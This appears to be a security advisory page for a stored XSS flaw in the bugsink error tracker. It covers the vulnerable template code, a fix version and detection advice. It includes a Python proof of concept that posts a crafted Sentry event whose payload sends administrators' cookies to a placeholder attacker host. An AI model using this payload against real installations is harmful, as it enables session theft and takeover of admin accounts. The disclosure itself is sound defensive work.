GHSA-vp6q-7m36-pq3w is a critical-severity (CVSS 9.3) Cross-site Scripting (XSS) vulnerability in bugsink. A fix is available for bugsink — see the affected versions and patch details below.
Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-vp6q-7m36-pq3w.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-vp6q-7m36-pq3w plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
bugsinkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI.
Details
When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), _pygmentize_lines() in theme/templatetags/issues.py:75-77 falls back to returning the raw input lines. mark_safe() at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.
# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
return lines # raw HTML returned here
# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]
Operational Signals
Exploitation attempts are likely to generate the diagnostic event:
"Pygments line count mismatch, falling back to unformatted code"
Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review.
PoC
Send a Sentry event to /api/<project-id>/store/ with a valid DSN:
import requests
payload = {
"exception": {"values": [{"stacktrace": {"frames": [{
"filename": "app.rb",
"lineno": 2,
"pre_context": ["<<~HEREDOC", " foo", "HEREDOC"],
"context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
"post_context": []
}]}}]}
}
requests.post(
"http://bugsink-host/api/<project-id>/store/",
json=payload,
headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)
Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.
Impact
This is a stored XSS vulnerability.
Successful exploitation requires:
- The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
- The Bugsink ingest endpoint is reachable to the attacker.
- An administrator explicitly views the crafted event in the UI.
Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | bugsink | all versions | 2.0.13pip install --upgrade 'bugsink==2.0.13' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bugsink, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update bugsink to 2.0.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vp6q-7m36-pq3w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vp6q-7m36-pq3w can be triaged on real exposure rather than presence alone.
Tailored to GHSA-vp6q-7m36-pq3w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vp6q-7m36-pq3w in your dependencies?
O3 Security finds GHSA-vp6q-7m36-pq3w across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.